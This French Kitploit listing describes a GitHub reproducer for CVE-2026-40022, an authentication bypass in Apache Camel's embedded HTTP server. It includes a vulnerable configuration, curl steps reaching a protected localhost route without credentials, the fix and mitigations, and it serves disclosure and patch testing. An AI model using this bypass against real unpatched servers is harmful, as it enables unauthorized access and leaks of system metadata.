Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2026-40022 — Reproducteur pour CVE-2026-40022 : contournement de l'authentification de camel-platform-http-main d'Apache Camel sur les chemins de contexte non racine | Kitploit
Outils/GitHubGitHub/oscerd/cve-2026-40022
Analyse des VulnérabilitésExploitationExploitation d'Applications WebTests d'IntrusionAuthentificationMauvaise Configuration
GitHuboscerd/cve-2026-40022

CVE-2026-40022

Reproducteur pour CVE-2026-40022 : contournement de l'authentification de camel-platform-http-main d'Apache Camel sur les chemins de contexte non racine

Voir le dépôt
il y a 1 moisPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

camel-platform-http-main : contournement de l'authentification sur les chemins de contexte non racine (CVE-2026-40022)

Ce projet démontre un contournement de l'authentification dans le composant camel-platform-http-main d'Apache Camel (le serveur HTTP/de gestion embarqué du runtime main de Camel), référencé sous le nom CVE-2026-40022. Lorsque l'authentification est activée et qu'un chemin de contexte non racine (par exemple /api ou /admin) est configuré, le gestionnaire d'authentification ne couvre que le chemin de contexte exact, de sorte que les requêtes non authentifiées vers les sous-chemins atteignent les routes protégées et les points de terminaison de gestion.

Avis de sécurité : https://camel.apache.org/security/CVE-2026-40022.html

Résumé de la vulnérabilité

PropriétéValeur
Composantcamel-platform-http-main (serveur HTTP/de gestion embarqué du runtime main de Camel)
Classes concernéesBasicAuthenticationConfigurer, JWTAuthenticationConfigurer, MainAuthenticationConfigurer
Cause racineLorsque authenticationPath n'est pas défini, il est dérivé de camel.server.path ; avec le modèle de montage de sous-routeur Vert.x, le gestionnaire d'authentification ne correspond qu'au chemin de contexte exact, et non à ses sous-chemins
CWECWE-287 : Authentification incorrecte (contournement de l'authentification)
ImpactAccès non authentifié aux routes métier protégées et aux points de terminaison de gestion (par exemple divulgation des métadonnées d'exécution via /observe/info)
Versions affectéesDe 4.14.1 avant 4.14.6, et de 4.15.0 avant 4.18.2
Versions corrigées4.14.6, 4.18.2, 4.20.0
SignaleurJihang Yu
PRsapache/camel#22474 (main), #22475 (4.18.x), #22476 (4.14.x)

Détails techniques

BasicAuthenticationConfigurer (et JWTAuthenticationConfigurer) résolvent le chemin que le gestionnaire d'authentification protège à partir de properties.getAuthenticationPath(), en se repliant sur properties.getPath() (le chemin de contexte camel.server.path) lorsqu'il n'est pas défini explicitement :

root@kitploit:~
String path = resolveAuthenticationPath(properties.getAuthenticationPath(), properties.getPath());

Le serveur Vert.x monte un sous-routeur sur <contextPath>* et enregistre le gestionnaire d'authentification à l'intérieur de ce sous-routeur, au chemin résolu. Dans les versions affectées, le chemin résolu est le chemin de contexte lui-même, donc — par rapport au sous-routeur déjà monté sur /api — le gestionnaire d'authentification finit par correspondre à /api/api plutôt qu'à chaque sous-chemin. Par conséquent :

  • /api/api est bien soumis au défi d'authentification (401) — le gestionnaire est présent, simplement mal ciblé
  • /api/hello (la véritable route métier) n'est pas soumis au défi → servi sans informations d'identification

Le correctif fait en sorte que resolveAuthenticationPath renvoie /*, afin que le gestionnaire couvre tous les sous-chemins du sous-routeur.

Configuration

application.properties — un chemin de contexte non racine avec l'authentification activée et authenticationPath non défini :

root@kitploit:~
camel.server.enabled = true
camel.server.port = 8080
camel.server.path = /api
camel.server.authenticationEnabled = true
camel.server.basicPropertiesFile = auth.properties

La route est servie sur /api/hello.

Prérequis

  • Java 17+
  • Maven 3.8+

Aucun service externe ni conteneur Docker n'est requis — le serveur HTTP vulnérable est l'application elle-même.

Étapes de reproduction

Étape 1 : Construire et démarrer

root@kitploit:~
mvn clean package -DskipTests
java -jar target/cve-2026-40022-platform-http-main-0.0.1-SNAPSHOT.jar

Étape 2 : Montrer que l'authentification EST activée

root@kitploit:~
curl -i http://localhost:8080/api/api
# -> HTTP/1.1 401 Unauthorized
#    WWW-Authenticate: Basic realm="vertx-web"

Le BasicAuthHandler est actif — mais mal ciblé sur le chemin de contexte exact.

Étape 3 : Le contournement — atteindre la route protégée sans informations d'identification

root@kitploit:~
curl -i http://localhost:8080/api/hello
# -> HTTP/1.1 200 OK
#    hello-response (this is a PROTECTED business route)

Sur une version corrigée (4.14.6 / 4.18.2 / 4.20.0), cette requête renvoie 401 Unauthorized.

Étape 4 : Avec les informations d'identification, cela fonctionne aussi (comme prévu)

root@kitploit:~
curl -i -u camel:propertiesPass http://localhost:8080/api/hello
# -> HTTP/1.1 200 OK

Impact : divulgation des points de terminaison de gestion

La même faille s'applique au serveur de gestion (camel.management.path, par exemple /admin). Une requête non authentifiée vers un sous-chemin tel que /admin/observe/info atteint le point de terminaison de gestion, ce qui peut divulguer des métadonnées d'exécution : l'utilisateur du système d'exploitation, le répertoire de travail/personnel, l'identifiant du processus, les informations relatives à la JVM et au système d'exploitation.

Conditions d'exploitation

  1. Le runtime main de Camel avec camel-platform-http-main.
  2. Authentification activée sur le serveur ou le serveur de gestion.
  3. Un chemin de contexte non racine (camel.server.path / camel.management.path).
  4. camel.server.authenticationPath / camel.management.authenticationPath non définis explicitement.

Correctif recommandé

Mettez à niveau vers 4.14.6 / 4.18.2 / 4.20.0. Le correctif (resolveAuthenticationPath) fait en sorte que le gestionnaire d'authentification couvre chaque sous-chemin :

root@kitploit:~
default String resolveAuthenticationPath(String authenticationPath, String contextPath) {
    if (authenticationPath != null && !authenticationPath.isBlank()) {
        return authenticationPath;
    }
    return "/*";   // was: the exact context path
}

Atténuation

En attendant la mise à niveau :

  1. Définissez explicitement camel.server.authenticationPath = /* (et camel.management.authenticationPath = /*) afin que le gestionnaire couvre tous les sous-chemins.
  2. Ne conservez le serveur de gestion que sur un réseau de confiance.

Fichiers

root@kitploit:~
CVE-2026-40022/
├── pom.xml
├── README.md
└── src/main/
    ├── java/com/example/
    │   ├── Application.java          # Camel main runtime entry point
    │   └── HelloRoute.java           # a protected platform-http route (/api/hello)
    └── resources/
        ├── application.properties    # non-root path + auth enabled (the vulnerable config)
        └── auth.properties           # basic-auth user (camel / propertiesPass)

Avertissement

Ce reproducteur est fourni uniquement pour la recherche en sécurité et les tests autorisés, pour une vulnérabilité publiquement divulguée et corrigée. Ne l'utilisez pas contre des systèmes sans autorisation explicite.

Télécharger l’outil